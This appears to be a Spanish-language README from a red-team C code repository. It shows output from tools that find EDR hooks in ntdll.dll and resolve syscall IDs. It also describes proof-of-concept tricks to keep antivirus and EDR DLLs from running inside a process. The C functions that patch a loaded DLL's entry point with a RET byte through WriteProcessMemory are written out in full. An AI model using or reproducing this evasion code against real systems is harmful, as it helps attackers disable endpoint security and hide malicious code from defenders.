mr-un1k0d3r/redteamccodeRepositorio de código C de Red Team
Repositorio de código C de Red Team
getsyscall.exe ntdll.dll NtProtectVirtualMemory
ntdll.dll!NtProtectVirtualMemory at 0x00007FFDE568D010
NtProtectVirtualMemory syscall ID 0x00000050 (80)
C:\Users\dev\Desktop>hook_finder_64.exe C:\Windows\System32\ntdll.dll
Loading C:\Windows\System32\ntdll.dll
------------------------------------------
BASE 0x00007FFAE0030000 MZÉ
PE 0x00007FFAE00300E8 PE
ExportTableOffset 0x00007FFAE01812A0
OffsetNameTable 0x00007FFAE01838C0
Function Counts 0x97e (2430)
------------------------------------------
NtAllocateVirtualMemory is hooked
NtAllocateVirtualMemoryEx is hooked
NtDeviceIoControlFile is hooked
NtGetContextThread is hooked
NtMapViewOfSection is hooked
NtMapViewOfSectionEx is hooked
NtProtectVirtualMemory is hooked
NtQueryInformationThread is hooked
NtQueueApcThread is hooked
NtQueueApcThreadEx is hooked
NtReadVirtualMemory is hooked
NtResumeThread is hooked
NtSetContextThread is hooked
NtSetInformationProcess is hooked
NtSetInformationThread is hooked
NtSuspendThread is hooked
NtUnmapViewOfSection is hooked
NtUnmapViewOfSectionEx is hooked
NtWriteVirtualMemory is hooked
ZwAllocateVirtualMemory is hooked
ZwAllocateVirtualMemoryEx is hooked
ZwDeviceIoControlFile is hooked
ZwGetContextThread is hooked
ZwMapViewOfSection is hooked
ZwMapViewOfSectionEx is hooked
ZwProtectVirtualMemory is hooked
ZwQueryInformationThread is hooked
ZwQueueApcThread is hooked
ZwQueueApcThreadEx is hooked
ZwReadVirtualMemory is hooked
ZwResumeThread is hooked
ZwSetContextThread is hooked
ZwSetInformationProcess is hooked
ZwSetInformationThread is hooked
ZwSuspendThread is hooked
ZwUnmapViewOfSection is hooked
ZwUnmapViewOfSectionEx is hooked
ZwWriteVirtualMemory is hooked
------------------------------------------
Completed
C:\Users\dev\Desktop>sentinel_hook_finder_64.exe C:\windows\system32\ntdll.dll
Loading C:\windows\system32\ntdll.dll
------------------------------------------
BASE 0x00007FF8EDA30000 MZÉ
PE 0x00007FF8EDA300E8 PE
ExportTableOffset 0x00007FF8EDB812A0
OffsetNameTable 0x00007FF8EDB838C0
Functions Count 0x97e (2430)
------------------------------------------
KiUserApcDispatcher is hooked
LdrLoadDll is hooked
NtAllocateVirtualMemory is hooked
NtCreateThreadEx is hooked
NtCreateUserProcess is hooked
NtFreeVirtualMemory is hooked
NtLoadDriver is hooked
NtMapUserPhysicalPages is hooked
NtMapViewOfSection is hooked
NtOpenProcess is hooked
NtProtectVirtualMemory is hooked
NtQuerySystemInformation is hooked
NtQuerySystemInformationEx is hooked
NtQueueApcThread is hooked
NtQueueApcThreadEx is hooked
NtReadVirtualMemory is hooked
NtResumeThread is hooked
NtSetContextThread is hooked
NtSetInformationProcess is hooked
NtSetInformationThread is hooked
NtTerminateProcess is hooked
NtUnmapViewOfSection is hooked
NtWriteVirtualMemory is hooked
RtlAddVectoredExceptionHandler is hooked
RtlGetNativeSystemInformation is hooked
ZwAllocateVirtualMemory is hooked
ZwCreateThreadEx is hooked
ZwCreateUserProcess is hooked
ZwFreeVirtualMemory is hooked
ZwLoadDriver is hooked
ZwMapUserPhysicalPages is hooked
ZwMapViewOfSection is hooked
ZwOpenProcess is hooked
ZwProtectVirtualMemory is hooked
ZwQuerySystemInformation is hooked
ZwQuerySystemInformationEx is hooked
ZwQueueApcThread is hooked
ZwQueueApcThreadEx is hooked
ZwReadVirtualMemory is hooked
ZwResumeThread is hooked
ZwSetContextThread is hooked
ZwSetInformationProcess is hooked
ZwSetInformationThread is hooked
ZwTerminateProcess is hooked
ZwUnmapViewOfSection is hooked
ZwWriteVirtualMemory is hooked
------------------------------------------
Completed
Es una prueba de concepto para el truco PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON. Aplica la política y luego se vuelve a ejecutar a sí mismo; el proceso reiniciado tiene la política aplicada, lo que permite ejecutar código "malicioso" con PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON establecido.
Es una prueba de concepto que aplica la política PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON y además depura el proceso hijo (a sí mismo) y monitoriza las DLL que se cargan mediante las APIs del depurador de Windows. Detecta las DLL según su ruta y las parchea. La idea es evitar que las DLL de EDR y AV cargadas en tu proceso se ejecuten correctamente. En esta POC, las DLL en la lista negra están configuradas como user32.dll.
El evento se monitoriza mediante el evento LOAD_DLL_DEBUG_EVENT.
La ubicación de la DLL se obtiene después mediante event.u.UnloadDll.lpBaseOfDll
El código se parchea utilizando las siguientes funciones:
VOID *GetEntryPointOffset(CHAR *start, DWORD dwSize, HANDLE hProc) {
CHAR* mem = GlobalAlloc(GPTR, dwSize);
DWORD dwBytesRead = 0;
ReadProcessMemory(hProc, start, mem, dwSize, &dwBytesRead);
DWORD dwBaseDLLInitializeOffset = *((DWORD*)mem + (0x120 / 4));
#ifdef DEBUG
printf("dwBaseDLLInitializeOffset offset 0x%x\n", dwBaseDLLInitializeOffset);
#endif
VOID *dwBaseDLLInitialize = (VOID*)start + dwBaseDLLInitializeOffset;
#ifdef DEBUG
printf("dwBaseDLLInitialize offset 0x%p\n", dwBaseDLLInitialize);
#endif
GlobalFree(mem);
return dwBaseDLLInitialize;
}
VOID ModifyMem(CHAR *start, DWORD dwSize, HANDLE hProc) {
#ifdef DEBUG
printf("Cleaning HANDLE 0x%p 0x%p length: %d\n", hProc, start, dwSize);
#endif
VOID* EntryPoint = GetEntryPointOffset(start, dwSize, hProc);
DWORD dwOut = 0;
DWORD dwOld = 0;
#ifdef DEBUG
printf("EntryPoint at 0x%p\n", EntryPoint);
#endif
VirtualProtectEx(hProc, EntryPoint, 1, PAGE_READWRITE, &dwOld);
WriteProcessMemory(hProc, EntryPoint, "\xc3", 1, &dwOut);
#ifdef DEBUG
printf("Size of bytes written: %d\n", dwOut);
#endif
}
Los mensajes verbosos se pueden eliminar antes de compilar el código estableciendo DEBUG como FALSE.
Mr.Un1k0d3r RingZer0 Team